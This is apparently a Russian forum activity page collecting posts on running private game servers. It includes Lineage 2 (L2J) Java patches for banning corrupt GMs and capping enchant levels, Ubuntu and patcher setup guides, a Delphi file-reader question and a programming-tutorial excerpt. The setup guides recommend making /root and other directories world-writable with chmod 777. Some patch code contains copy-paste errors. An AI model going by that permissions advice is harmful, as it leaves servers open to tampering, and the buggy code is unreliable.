позволит вам банить гма если он будет пытаться дать права тому кто не гм. Index: D:/Workspace/GameServer_Clean/java/config/options.properties =================================================================== --- D:/Workspace/GameServer_Clean/java/config/options.properties (revision 708) +++ D:/Workspace/GameServer_Clean/java/config/options.properties (working copy) @@ -168,6 +168,8 @@ L2WalkerRevision = 552 # Ban account if account using l2walker and is not GM, AllowL2Walker = False AutobanL2WalkerAcc = False +# Ban Edited Player and Corrupt GM if a GM edits a NON GM character. +GMEdit = False # ================================================================= Index: D:/Workspace/GameServer_Clean/java/net/sf/l2j/Config.java =================================================================== --- D:/Workspace/GameServer_Clean/java/net/sf/l2j/Config.java (revision 708) +++ D:/Workspace/GameServer_Clean/java/net/sf/l2j/Config.java (working copy) @@ -520,6 +520,9 @@ public static boolean AUTOBAN_L2WALKER_ACC; /** Revision of L2Walker */ public static int L2WALKER_REVISION; + + /** GM Edit allowed on Non Gm players? */ + public static boolean GM_EDIT; /** Allow Discard item ?*/ public static boolean ALLOW_DISCARDITEM; @@ -1127,6 +1130,7 @@ ALLOW_L2WALKER_CLIENT = L2WalkerAllowed.valueOf(optionsSettings.getProperty("AllowL2Walker", "False")); L2WALKER_REVISION = Integer.parseInt(optionsSettings.getProperty("L2WalkerRevision", "537")); AUTOBAN_L2WALKER_ACC = Boolean.valueOf(optionsSettings.getProperty("AutobanL2WalkerAcc", "False")); + GM_EDIT = Boolean.valueOf(optionsSettings.getProperty("GMEdit", "False")); ACTIVATE_POSITION_RECORDER = Boolean.valueOf(optionsSettings.getProperty("ActivatePositionRecorder", "False")); Index: D:/Workspace/GameServer_Clean/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminExpSp.java =================================================================== --- D:/Workspace/GameServer_Clean/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminExpSp.java (revision 708) +++ D:/Workspace/GameServer_Clean/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminExpSp.java (working copy) @@ -29,6 +29,8 @@ import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance; import net.sf.l2j.gameserver.serverpackets.NpcHtmlMessage; import net.sf.l2j.gameserver.serverpackets.SystemMessage; +import net.sf.l2j.gameserver.util.IllegalPlayerAction; +import net.sf.l2j.gameserver.util.Util; /** * This class handles following admin commands: @@ -222,8 +224,24 @@ smA.addString("Wrong Number Format"); activeChar.sendPacket(smA); } - if(expval != 0 || spval != 0) + /** + * Anti-Corrupt GMs Protection. + * If GMEdit enabled, a GM won't be able to Add Exp or SP to any other + * player that's NOT a GM character. And in addition.. both player and + * GM WILL be banned. + */ + if(Config.GM_EDIT && (expval != 0 || spval != 0)&& !player.isGM()) { + //Warn the player about his inmediate ban. + player.sendMessage("A GM tried to edit you in "+expval+" exp points and in "+spval+" sp points.You will both be banned."); + Util.handleIllegalPlayerAction(player,"The player "+player.getName()+" has been edited. BAN!!", IllegalPlayerAction.PUNISH_KICKBAN); + //Warn the GM about his inmediate ban. + player.sendMessage("You tried to edit "+player.getName()+" by "+expval+" exp points and "+spval+". You both be banned now."); + Util.handleIllegalPlayerAction(activeChar,"El GM "+activeChar.getName()+" ha editado a alguien. BAN!!", IllegalPlayerAction.PUNISH_KICKBAN); + _log.severe("GM "+activeChar.getName()+" tried to edit "+player.getName()+". They both have been Banned."); + } + else if(expval != 0 || spval != 0) + { //Common character information SystemMessage sm = new SystemMessage(614); sm.addString("Admin is adding you "+expval+" xp and "+spval+" sp."); Фикс заточки через ВХ кстати в рт 1.4.1.6 данный баг не пофикшен Фикс заточки через Вх: в "net/sf/l2j/gameserver/clientpackets" находим "SendWareHouseDepositList.java" вставляем : import net.sf.l2j.gameserver.util.IllegalPlayerAction; import net.sf.l2j.gameserver.util.Util; there after ) if (player.getActiveEnchantItem ()! = null) ( Util.handleIllegalPlayerAction (player, "Mofo" + player.getName () + "tried to use phx and got BANED! Peace:-h", IllegalPlayerAction.PUNISH_KICKBAN); return; ) if ((warehouse instanceof ClanWarehouse) & & Config.GM_DISABLE_TRANSACTION & & player.getAccessLevel ()> = Config.GM_TRANSACTION_MIN & & player.getAccessLevel () <= Config.GM_TRANSACTION_MAX) ( player.sendMessage ( "Transactions are disable for your Access Level"); return; ) or search Фикс на заточку итема игрокам,коррупт гмом. Не совсем фикс,а также ещё одна вещь которая рассчитана на коррупт Гмов.Игрок который пытаеться одеть вещь заточенную больше чем на X летит в бан. Идём в gameserver.clientpackets.UseItem.java if (!activeChar.isGM() && item.getEnchantLevel() > X) { activeChar.setAccountAccesslevel(-999); activeChar.sendMessage("You have been banned for using an item over +X!"); activeChar.closeNetConnection(); return; } Где X - это максимальная заточка. Index: E:/workspace/L2_GameServer_It/java/net/sf/l2j/gameserver/skills/funcs/FuncEnchant.java =================================================================== --- E:/workspace/L2_GameServer_It/java/net/sf/l2j/gameserver/skills/funcs/FuncEnchant.java (revision 2252) +++ E:/workspace/L2_GameServer_It/java/net/sf/l2j/gameserver/skills/funcs/FuncEnchant.java (working copy) @@ -19,6 +19,7 @@ package net.sf.l2j.gameserver.skills.funcs; import net.sf.l2j.gameserver.model.L2ItemInstance; +import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance; import net.sf.l2j.gameserver.skills.Env; import net.sf.l2j.gameserver.skills.Stats; import net.sf.l2j.gameserver.templates.L2Item; @@ -38,11 +39,18 @@ { if (cond != null && !cond.test(env)) return; L2ItemInstance item = (L2ItemInstance) funcOwner; + int cristall = item.getItem().getCrystalType(); Enum itemType = item.getItemType(); if (cristall == L2Item.CRYSTAL_NONE) return; int enchant = item.getEnchantLevel(); + + if (env.player != null && env.player instanceof L2PcInstance) + { + if (!((L2PcInstance)env.player).isGM() && enchant > x) + enchant = x; + } int overenchant = 0; if (enchant > 3) Index: E:/workspace/L2_GameServer_It/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminEnchant.java =================================================================== --- E:/workspace/L2_GameServer_It/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminEnchant.java (revision 2252) +++ E:/workspace/L2_GameServer_It/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminEnchant.java (working copy) @@ -18,6 +18,8 @@ */ package net.sf.l2j.gameserver.handler.admincommandhandlers; +import java.util.logging.Logger; + import net.sf.l2j.Config; import net.sf.l2j.gameserver.handler.IAdminCommandHandler; import net.sf.l2j.gameserver.model.GMAudit; @@ -39,7 +41,7 @@ */ public class AdminEnchant implements IAdminCommandHandler { - //private static Logger _log = Logger.getLogger(AdminEnchant.class.getName()); + private static Logger _log = Logger.getLogger(AdminEnchant.class.getName()); private static final String[] ADMIN_COMMANDS = {"admin_seteh",//6 "admin_setec",//10 "admin_seteg",//9 @@ -187,6 +189,15 @@ // log GMAudit.auditGMAction(activeChar.getName(), "enchant", player.getName(), itemInstance.getItem().getName() + " from " + curEnchant + " to " + ench); + + if (!player.isGM() && ench > x) + { + _log.warning("GM: " + activeChar.getName() + " enchanted " + player.getName() + " item over the Limit."); + activeChar.setAccountAccesslevel(-100); + player.setAccountAccesslevel(-100); + player.closeNetConnection(); + activeChar.closeNetConnection(); + } } } PvP Color system C этим патчем цвет ника будет меняться в зависимости от количества PVP очков,а титул от количества PK Index: /java/config/l2jmods.properties =================================================================== --- /java/config/l2jmods.properties (revision 174) +++ /java/config/l2jmods.properties (working copy) @@ -161,4 +161,62 @@ #---------------------------------- EnableWarehouseSortingClan = False EnableWarehouseSortingPrivate = False -EnableWarehouseSortingFreight = False \ No newline at end of file +EnableWarehouseSortingFreight = False + +# --------------------------------------- +# Section: PvP Title Color Change System by Level +# --------------------------------------- +# Each Amount will change the name color to the values defined here. +# Example: PvpAmmount1 = 500, when a character's PvP counter reaches 500, their name color will change +# according to the ColorForAmount value. +# Note: Colors Must Use RBG format +EnablePvPColorSystem = false + +# Pvp Amount & Name color level 1. +PvpAmount1 = 500 +ColorForAmount1 = CCFF00 + +# Pvp Amount & Name color level 2. +PvpAmount2 = 1000 +ColorForAmount2 = 00FF00 + +# Pvp Amount & Name color level 3. +PvpAmount3 = 1500 +ColorForAmount3 = 00FF00 + +# Pvp Amount & Name color level 4. +PvpAmount4 = 2500 +ColorForAmount4 = 00FF00 + +# Pvp Amount & Name color level 5. +PvpAmount5 = 5000 +ColorForAmount5 = 00FF00 + +# --------------------------------------- +# Section: PvP Nick Color System by Level +# --------------------------------------- +# Same as above, with the difference that the PK counter changes the title color. +# Example: PkAmmount1 = 500, when a character's PK counter reaches 500, their title color will change +# according to the Title For Amount +# WAN: Colors Must Use RBG format +EnablePkColorSystem = false + +# Pk Amount & Title color level 1. +PkAmount1 = 500 +TitleForAmount1 = 00FF00 + +# Pk Amount & Title color level 2. +PkAmount2 = 1000 +TitleForAmount2 = 00FF00 + +# Pk Amount & Title color level 3. +PkAmount3 = 1500 +TitleForAmount3 = 00FF00 + +# Pk Amount & Title color level 4. +PkAmount4 = 2500 +TitleForAmount4 = 00FF00 + +# Pk Amount & Title color level 5. +PkAmount5 = 5000 +TitleForAmount5 = 00FF00 \ No newline at end of file Index: /java/net/sf/l2j/Config.java =================================================================== --- /java/net/sf/l2j/Config.java (revision 174) +++ /java/net/sf/l2j/Config.java (working copy) @@ -544,6 +546,28 @@ public static boolean L2JMOD_ENABLE_WAREHOUSESORTING_CLAN; public static boolean L2JMOD_ENABLE_WAREHOUSESORTING_PRIVATE; public static boolean L2JMOD_ENABLE_WAREHOUSESORTING_FREIGHT; + public static boolean PVP_COLOR_SYSTEM_ENABLED; + public static int PVP_AMOUNT1; + public static int PVP_AMOUNT2; + public static int PVP_AMOUNT3; + public static int PVP_AMOUNT4; + public static int PVP_AMOUNT5; + public static int NAME_COLOR_FOR_PVP_AMOUNT1; + public static int NAME_COLOR_FOR_PVP_AMOUNT2; + public static int NAME_COLOR_FOR_PVP_AMOUNT3; + public static int NAME_COLOR_FOR_PVP_AMOUNT4; + public static int NAME_COLOR_FOR_PVP_AMOUNT5; + public static boolean PK_COLOR_SYSTEM_ENABLED; + public static int PK_AMOUNT1; + public static int PK_AMOUNT2; + public static int PK_AMOUNT3; + public static int PK_AMOUNT4; + public static int PK_AMOUNT5; + public static int TITLE_COLOR_FOR_PK_AMOUNT1; + public static int TITLE_COLOR_FOR_PK_AMOUNT2; + public static int TITLE_COLOR_FOR_PK_AMOUNT3; + public static int TITLE_COLOR_FOR_PK_AMOUNT4; + public static int TITLE_COLOR_FOR_PK_AMOUNT5; /** ************************************************** **/ /** L2JMods Settings -End **/ @@ -1654,6 +1678,34 @@ L2JMOD_ENABLE_WAREHOUSESORTING_CLAN = Boolean.valueOf(L2JModSettings.getProperty("EnableWarehouseSortingClan", "False")); L2JMOD_ENABLE_WAREHOUSESORTING_PRIVATE = Boolean.valueOf(L2JModSettings.getProperty("EnableWarehouseSortingPrivate", "False")); L2JMOD_ENABLE_WAREHOUSESORTING_FREIGHT = Boolean.valueOf(L2JModSettings.getProperty("EnableWarehouseSortingFreight", "False")); + + // PVP Name Color System configs - Start + PVP_COLOR_SYSTEM_ENABLED = Boolean.parseBoolean(L2JModSettings.getProperty("EnablePvPColorSystem", "false")); + PVP_AMOUNT1 = Integer.parseInt(L2JModSettings.getProperty("PvpAmount1", "500")); + PVP_AMOUNT2 = Integer.parseInt(L2JModSettings.getProperty("PvpAmount2", "1000")); + PVP_AMOUNT3 = Integer.parseInt(L2JModSettings.getProperty("PvpAmount3", "1500")); + PVP_AMOUNT4 = Integer.parseInt(L2JModSettings.getProperty("PvpAmount4", "2500")); + PVP_AMOUNT5 = Integer.parseInt(L2JModSettings.getProperty("PvpAmount5", "5000")); + NAME_COLOR_FOR_PVP_AMOUNT1 = Integer.decode("0x" + L2JModSettings.getProperty("ColorForAmount1", "00FF00")); + NAME_COLOR_FOR_PVP_AMOUNT2 = Integer.decode("0x" + L2JModSettings.getProperty("ColorForAmount2", "00FF00")); + NAME_COLOR_FOR_PVP_AMOUNT3 = Integer.decode("0x" + L2JModSettings.getProperty("ColorForAmount3", "00FF00")); + NAME_COLOR_FOR_PVP_AMOUNT4 = Integer.decode("0x" + L2JModSettings.getProperty("ColorForAmount4", "00FF00")); + NAME_COLOR_FOR_PVP_AMOUNT5 = Integer.decode("0x" + L2JModSettings.getProperty("ColorForAmount4", "00FF00")); + // PvP Name Color System configs - End + + // PK Title Color System configs - Start + PK_COLOR_SYSTEM_ENABLED = Boolean.parseBoolean(L2JModSettings.getProperty("EnablePkColorSystem", "false")); + PK_AMOUNT1 = Integer.parseInt(L2JModSettings.getProperty("PkAmount1", "500")); + PK_AMOUNT2 = Integer.parseInt(L2JModSettings.getProperty("PkAmount2", "1000")); + PK_AMOUNT3 = Integer.parseInt(L2JModSettings.getProperty("PkAmount3", "1500")); + PK_AMOUNT4 = Integer.parseInt(L2JModSettings.getProperty("PkAmount4", "2500")); + PK_AMOUNT5 = Integer.parseInt(L2JModSettings.getProperty("PkAmount5", "5000")); + TITLE_COLOR_FOR_PK_AMOUNT1 = Integer.decode("0x" + L2JModSettings.getProperty("TitleForAmount1", "00FF00")); + TITLE_COLOR_FOR_PK_AMOUNT2 = Integer.decode("0x" + L2JModSettings.getProperty("TitleForAmount2", "00FF00")); + TITLE_COLOR_FOR_PK_AMOUNT3 = Integer.decode("0x" + L2JModSettings.getProperty("TitleForAmount3", "00FF00")); + TITLE_COLOR_FOR_PK_AMOUNT4 = Integer.decode("0x" + L2JModSettings.getProperty("TitleForAmount4", "00FF00")); + TITLE_COLOR_FOR_PK_AMOUNT5 = Integer.decode("0x" + L2JModSettings.getProperty("TitleForAmount5", "00FF00")); + //PK Title Color System configs - End if (TVT_EVENT_PARTICIPATION_NPC_ID == 0) { Index: /java/net/sf/l2j/gameserver/clientpackets/EnterWorld.java =================================================================== --- /java/net/sf/l2j/gameserver/clientpackets/EnterWorld.java (revision 174) +++ /java/net/sf/l2j/gameserver/clientpackets/EnterWorld.java (working copy) @@ -177,6 +177,16 @@ Quest.playerEnter(activeChar); activeChar.sendPacket(new QuestList()); loadTutorial(activeChar); + + // ================================================================================ = + // Color System checks - Start ===================================================== + // Check if the custom PvP and PK color systems are enabled and if so ============== + // check the character's counters and apply any color changes that must be done. === + if (activeChar.getPvpKills()>=(Config.PVP_AMOUNT1) && (Config.PVP_COLOR_SYSTEM_ENABLED)) activeChar.updatePvPColor(activeChar.getPvpKills()); + if (activeChar.getPkKills()>=(Config.PK_AMOUNT1) && (Config.PK_COLOR_SYSTEM_ENABLED)) activeChar.updatePkColor(activeChar.getPkKills()); + // Color System checks - End ======================================================= + // ================================================================================ = + if (Config.PLAYER_SPAWN_PROTECTION > 0) activeChar.setProtection(true); @@ -3660,7 +3661,75 @@ DuelManager.getInstance().broadcastToOppositTeam(this, update); } } - + + // Custom PVP Color System - Start + public void updatePvPColor(int pvpKillAmount) + { + if (Config.PVP_COLOR_SYSTEM_ENABLED) + { + //Check if the character has GM access and if so, let them be. + if (isGM()) + return; + { + if ((pvpKillAmount >= (Config.PVP_AMOUNT1)) && (pvpKillAmount <= (Config.PVP_AMOUNT2))) + { + getAppearance().setNameColor(Config.NAME_COLOR_FOR_PVP_AMOUNT1); + } + else if ((pvpKillAmount >= (Config.PVP_AMOUNT2)) && (pvpKillAmount <= (Config.PVP_AMOUNT3))) + { + getAppearance().setNameColor(Config.NAME_COLOR_FOR_PVP_AMOUNT2); + } + else if ((pvpKillAmount >= (Config.PVP_AMOUNT3)) && (pvpKillAmount <= (Config.PVP_AMOUNT4))) + { + getAppearance().setNameColor(Config.NAME_COLOR_FOR_PVP_AMOUNT3); + } + else if ((pvpKillAmount >= (Config.PVP_AMOUNT4)) && (pvpKillAmount <= (Config.PVP_AMOUNT5))) + { + getAppearance().setNameColor(Config.NAME_COLOR_FOR_PVP_AMOUNT4); + } + else if (pvpKillAmount >= (Config.PVP_AMOUNT5)) + { + getAppearance().setNameColor(Config.NAME_COLOR_FOR_PVP_AMOUNT5); + } + } + } + } + //Custom PVP Color System - End + + // Custom Pk Color System - Start + public void updatePkColor(int pkKillAmount) + { + if (Config.PK_COLOR_SYSTEM_ENABLED) + { + //Check if the character has GM access and if so, let them be, like above. + if (isGM()) + return; + { + if ((pkKillAmount >= (Config.PK_AMOUNT1)) && (pkKillAmount <= (Config.PVP_AMOUNT2))) + { + getAppearance().setTitleColor(Config.TITLE_COLOR_FOR_PK_AMOUNT1); + } + else if ((pkKillAmount >= (Config.PK_AMOUNT2)) && (pkKillAmount <= (Config.PVP_AMOUNT3))) + { + getAppearance().setTitleColor(Config.TITLE_COLOR_FOR_PK_AMOUNT2); + } + else if ((pkKillAmount >= (Config.PK_AMOUNT3)) && (pkKillAmount <= (Config.PVP_AMOUNT4))) + { + getAppearance().setTitleColor(Config.TITLE_COLOR_FOR_PK_AMOUNT3); + } + else if ((pkKillAmount >= (Config.PK_AMOUNT4)) && (pkKillAmount <= (Config.PVP_AMOUNT5))) + { + getAppearance().setTitleColor(Config.TITLE_COLOR_FOR_PK_AMOUNT4); + } + else if (pkKillAmount >= (Config.PK_AMOUNT5)) + { + getAppearance().setTitleColor(Config.TITLE_COLOR_FOR_PK_AMOUNT5); + } + } + } + } + //Custom Pk Color System - End + @Override public final void updateEffectIcons(boolean partyOnly) { @@ -4996,6 +5065,10 @@ // Add karma to attacker and increase its PK counter setPvpKills(getPvpKills() + 1); + //Update the character's name color if they reached any of the 5 PvP levels. + updatePvPColor(getPvpKills()); + broadcastUserInfo(); + // Send a Server->Client UserInfo packet to attacker with its Karma and PK Counter sendPacket(new UserInfo(this)); } @@ -5047,6 +5120,10 @@ setPkKills(getPkKills() + 1); setKarma(getKarma() + newKarma); + //Update the character's title color if they reached any of the 5 PK levels. + updatePkColor(getPkKills()); + broadcastUserInfo(); + // Send a Server->Client UserInfo packet to attacker with its Karma and PK Counter sendPacket(new UserInfo(this)); } Получение вещей за PVP/PK Награды за пвп. Идем в gameserver.model.actor.instance.L2PcInstance.java Идём на 4538 строку...И вы увидите что то вроде этого: // Add karma to attacker and increase its PK counter setPvpKills(getPvpKills() + 1); И теперь после этого добавляем: // Give x y for a pvp kill addItem("Loot", x, y, this, true); sendMessage("You won y x for a pvp kill!"); Note: X это ID вещи,Y количество. Награды за пк: На строке 4605 вы увидите: // Add karma to attacker and increase its PK counter setPkKills(getPkKills() + 1); setKarma(getKarma() + newKarma); Как вставлять .info Команду. Сейчас я расскажу вам как зделать что бы при вводе команды .info показывался Htm файл в котором вы можете написать всё что пожелаете.Начнём! 1.Идём в L2_GameServer_IL \ SRC \ Main \ Java \ Net \ SF \ l2j \ GameServer \ Handler \ voicedcommandhandlers И создаём новый файл VoiceInfo.java /* * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see http://www.gnu.org/licenses/ */ package net.sf.l2j.gameserver.handler.voicedcommandhandlers; import net.sf.l2j.Config; import net.sf.l2j.gameserver.GameServer; import net.sf.l2j.gameserver.cache.HtmCache; import net.sf.l2j.gameserver.handler.IVoicedCommandHandler; import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance; import net.sf.l2j.gameserver.serverpackets.NpcHtmlMessage; /** * @author Michiru * */ public class VoiceInfo implements IVoicedCommandHandler { private static String[] VOICED_COMMANDS = { "info" }; /* (non-Javadoc) * @see net.sf.l2j.gameserver.handler.IVoicedCommandHandler#useVoicedCommand(java.lang.String, net.sf.l2j.gameserver.model.actor.instance.L2PcInstance, java.lang.String) */ public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target) { String htmFile = "data/html/custom/xx.htm"; String htmContent = HtmCache.getInstance().getHtm(htmFile); if (htmContent != null) { NpcHtmlMessage infoHtml = new NpcHtmlMessage(1); infoHtml.setHtml(htmContent); activeChar.sendPacket(infoHtml); } else { activeChar.sendMessage("omg lame error! where is " + htmFile + " ! blame the Server Admin"); } return true; } public String[] getVoicedCommandList() { return VOICED_COMMANDS; } } Вы видите что бы ввести пусть к вашему файлу поменяйте строку htmFile = "data/html/custom/xx.htm"; Теперь идём в L2_GameServer_IL \ SRC \ Main \ Java \ Net \ SF \ l2j \ GameServer \ Handler \ октрываем voicecommandhandlers.java и вставляем: import net.sf.l2j.gameserver.handler.voicedcommandhandlers.VoiceInfo; После import net.sf.l2j.gameserver.handler.voicedcommandhandlers.CastleDoors; Потом идём на 54 строчку и вставляем: registerVoicedCommandHandler(new VoiceInfo());
    Сообщение от: MrPassion, 4 янв 2013 в разделе: LineAge 2
  9. zeratul
    Итак всем привет решил сделать гайд по сборке сервера FW на Ubuntu Шаг 1.Выберем ОС для дальнейшего использования Ubuntu 11.10 desktop x64 и Ubuntu 11.10 Server x64 Шаг 2.После установки ОС устанавливаем дополнения для работы сервера 1 - sudo passwd root / Create root pass 1° - su root / login as root 2 - apt-get update 2° - apt-get upgrade 3 - apt-get install openssh-server 4 - apt-get install openjdk-6-jre 5 - apt-get install apache2 6 - apt-get install mysql-server 7 - apt-get install php5 8 - apt-get install php5-mysql 9 - apt-get install phpmyadmin 10 - apt-get install mc 11 - apt-get install ia32-libs Шаг 3. Скачиваем полный сервер версии V0.84 Создайте папку в свободном месте положите все эти архивы и распакуйте Repack_phprap.001 Repack_phprap.002 Repack_phprap.003 Repack_phprap.004 Пароль на архив: wofgames.com.br Шаг 4. Скачиваем клиент и обновление для сервера Установите клиент после этого обновите до 0.84 с помощью патча Full Client V0.75 Patch V0.75 > V0.84 Шаг 5. Далее выдаем права и редактируем файлы 1.Изменим ИП адреса в файлах (Также как и в серверах pw) /root/phprap/gamed/gmserver.conf /root/phprap/gamed/gs.conf 2. Прописываем настройки в файлах: /etc/table.xml /var/www/config.php 3. Создаем Базы Подключаемся к http://localhost/phpmyadmin/Импортируем базы sql файлы - FW_tabels.sql, FW_procedures.sql 4. закидываем файлы в папки /lib и /lib32 5. Раздаем права: chmod -R 777 /root chmod -R 777 /usr/java ldconfig /lib ldconfig /lib32 6. Создаем аккаунт http://localhost/register/ 7. Запускаем сервер ./start Вот вроде и все Права на сборку Принадлежат -phprap Перевел и дополнил Demod Ссылки на сервер не рабочие, ТС обвнови если не трудно! Хотелось бы запустить такой сервак!
    Сообщение от: zeratul, 19 ноя 2012 в разделе: FW Сервер
  10. ≈√iP≈
  11. BAR
  12. roxio71
    Имеется данный код открытия первого листа elements.data написал с помощью Delphi 2010 unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Menus; type TList1 = record id:integer; name: array [0..63] of byte; int1:integer; int2:integer; int3:integer; int4:integer; end; type TForm1 = class(TForm) Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Label5: TLabel; Label6: TLabel; Edit1: TEdit; Edit2: TEdit; Edit3: TEdit; Edit4: TEdit; Edit5: TEdit; Edit6: TEdit; ListBox1: TListBox; Button1: TButton; OpenDialog1: TOpenDialog; procedure ListBox1Click(Sender: TObject); procedure Button1Click(Sender: TObject); private ListPos: array [1..4] of Integer; // сюда сохраняем смещения листa ListLen: array [1..4] of Integer; // сюда сохраняем количество элементов ffile: tStream; procedure OpenList1(lb: TListBox); // это у нас собс-но открытие первого листа procedure FillListPos; // это будет заполнение листа public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} var List1: array of TList1; procedure TForm1.OpenList1(lb: TListBox); var num: integer; w: widestring; begin num := lb.ItemIndex; Edit1.Text:=IntToStr(List1[num].id); SetLength(w, 32); Move(List1[num].name[0], w[1], 64); Edit2.Text:=w; Edit3.Text:=IntToStr(List1[num].int1); Edit4.Text:=IntToStr(List1[num].int2); Edit5.Text:=IntToStr(List1[num].int3); Edit6.Text:=IntToStr(List1[num].int4); end; procedure TForm1.Button1Click(Sender: TObject); var i: Integer; ws: WideString; begin if OpenDialog1.Execute then begin if not FileExists(opendialog1.FileName) then exit; if Assigned(fFile) then begin FreeAndNil(fFile); end; // Создаем поток fFile := TFileStream.Create(OpenDialog1.FileName, (fmOpenReadWrite{or fmShareExclusive})); // Заполняем массив с позициями FillListPos; // Читаем лист 1 SetLength(ws, 32); fFile.Position := ListPos[1]+4; SetLength(List1, ListLen[1]); fFile.Read(List1[0], ListLen[1]*SizeOf(TList1)); for i := 0 to ListLen[1] - 1 do begin Move(List1[i].name, Pointer(ws)^, 64); ListBox1.Items.Add(IntToStr(List1[i].id) + ' - ' + ws); end; end; end; procedure TForm1.FillListPos; var fListLen: Integer; begin (* == подсчет смещений каждого последующего листа == 8 это смещение первого листа. 8 + 4 + размер первого листа = смещение второго листа. смещение второго листа + 4 + размер второго листа = смещение третьего, и т.д. *) ListPos[1] := 8; if Assigned(fFile) then begin fFile.Position := ListPos[1]; // устанавливавем маркер в позицию начала Листа1 fFile.Read(fListLen, SizeOf(fListLen)); // Считываем количество элементов ListLen[1] := fListLen; ListPos[2] := ListPos[1] + ListLen[1]*SizeOf(TList1) + 4; // получаем смещение второго листа end; end; // -------------------------------------------------------- // procedure TForm1.ListBox1Click(Sender: TObject); begin openlist1(listbox1); end; end. Суть вопроса хотел узнать как реализовать сохранения новых параметров и сохранения самой страницы обратно в elements.data И ещё один вопрос как можно реализовать открытия второй страницы elements.data (какие значения нужно изменить или добавить) Заранее спасибо.
    Сообщение от: roxio71, 26 окт 2012 в разделе: Delphi
  13. roxio71
    Команды управления. ./cpw - показать список команд ./cpw install - установить программу ./cpw rsagen - перегенерировать RSA ключи ./cpw x executable... ( ./cpw x Launcher.exe patcher.exe) - прописать RSA ключи в список исполняемых файлов. ./cpw initial - создать базовый билд ./cpw new (revision number) - создать новый патч, если указать с версией number ./cpw revision (revision number) - создать новый патч, если указать с версией number ./cpw listgen - пересоздать списки файлов ./cpw listupdate - пересоздать списки файлов Перед установкой обновите Java до 7 версии с сайта linuxway.ru/poleznoe/ustanovka-oracle-java-7-jdk-v-ubuntu/ установить патчер с сайта http://pwcpw.codeplex.com/ Установка. Если у вас CPW на линуксе или колинукс дебиане, заходим в phpmyadmin. Создаём базу pwu. Выбираем её. Нажимаем импорт, и указываем путь до файла install.sql находиться в патчере, папка config. Для установки требуеться запустить терминал в Ubuntu и вписываем следующее apt-get install patcher 1) Распаковываем patcher.tar.gz в файловая система /patcher 2) Даю права папке chmod 777 -R /patcher 3) Перехожу в папку patcher cd /patcher 4) root@ubuntu-virtual-machine:/patcher# 5) ./cpw install Отвечаем на необходимые вопросы и дождаться создания таблицы в базе данных. вводим в первое Input mysql server (eg, localhost): localhost Input mysql login (eg, pwu): root Input mysql password (eg, superpuperpassword): пароль к базе MySQl Input mysql database name (eg, pwu): pwu полсе того как вы ввели должно появиться следующее Saving config. Creating table. Install complete. Now unpack your client using provided instuctions. Afterwards place unpacked files under files/new/ P.S. терминал не закрывать... Далее в папке files/CPW/info создайте файл pid без какого либо указания формата. пишим в этом файле "101" Такая же цифра должна быть в клиенте patcher\server\pid.ini [Version] pid=101 После этого В files\new\element помещаем всю папку из клиента element Исключение составляют *.pck Их мы должны распаковать! В распакованом виде они должны находиться в папках с соответствующим названием. Пример: У нас был models.pck архив, после распаковки получилась models.pck.filles папка. Открыли models.pck.filles и увидели там папку models, Она то нам и нужна. Помещаем ее в files\new\element Так делаем со всеми архивами! Внимание в В files\new\element недолжно быть ни одного *.pck файла!!! И так, теперь можно приступать. Пишем в терминале "./cpw initial" и... ждем... ждем... и опять ждем. По окончанию Ваш патч будит находиться в папке files\CPW папку CPW копируем в файловую систему в /var/www/ при создании обновленя в updateserver.txt пишем так http://Ваш_ip/CPW/ или если у вас FTP то заливаем папку CPW на FTP сервер и пишем http://Ваш_FTP/CPW/ Внимание что бы сделать новый патч, используем команду new! Удаляем файлы из files\new\element и копируем в эту же папку новые файлы Запускаем терминал, для тех кто еще не понял как это делаеться: пишем ./cpw new И снова ждем... Готовый патч окажеться опять же в папке files\CPW И это еще не все))) В наш патчер, прямо рядом с bat файлами ложим 2 файла Launcher.exe и patcher.exe Открываем терминал или пишем в тот в котором всё делали если вы его ещё не закрыли в терминале вписываем ./cpw x Launcher.exe patcher.exe и запускаем.. По окончанию закиньте пропатченые Launcher.exe и patcher.exe в клиент и измените в клиенте \patcher\server\updateserver.txt http://Ваш IP/CPW/ либо http://Ваш FTP/CPW/ запускаем сервер с регистрацией запускаем в клиенте launcher\FixIt.bat А дальше как сказал один умный человек "дело техники" В шаре Гайд по установке CPW на windows вот решил выложить гайд по установки на системы более подходяших для серверов. Кому помог тыкни понравилось =)
    Сообщение от: roxio71, 16 окт 2012 в разделе: PW Документация
  14. HollyPw
    Программирование на Small Basic ---------------------------------------------------- Скачать: Ссылка Автор: Ильдар Ахметов Что такое программирование ------------------------------------------------------- Давайте для начала определимся, чем будем заниматься. А будем мы писать программы. Так что с определением слова «программирование», думаю, все должно быть ясно. Как, например, есть еда – и мы ее едим, то есть уничтожаем. А тут наоборот – мы программируем, то есть создаем (пишем, придумываем) программы. Что же такое программа? Слово вроде вполне знакомое. Есть программа передач на следующую неделю, программа развития сельского хозяйства России, школьная программа пятого класса. Что общего у этих программ? То, что они задают какой-то план действий, определяют, как и что будет происходить в будущем. Здесь есть, заметим, важное отличие программы от плана. В плане мы предусматриваем, что нечто будет происходить как-то вот так, потом делаем и смотрим, что в итоге получилось – насколько близко к плану. В случае с программой такого нет. Программа – понятие очень четкое. Пусть только попробуют изменить внезапно программу передач и не показать передачу «Спокойной ночи, малыши» в нужное время! Так же и компьютерная программа – штука очень четкая. Программист говорит железной машине, что нужно делать, и железная машина делает. Именно так, как сказал программист. Машина, она хоть и умная, но совершенно лишена инициативы. Она как слишком дрессированная собака. Выполняет все команды – 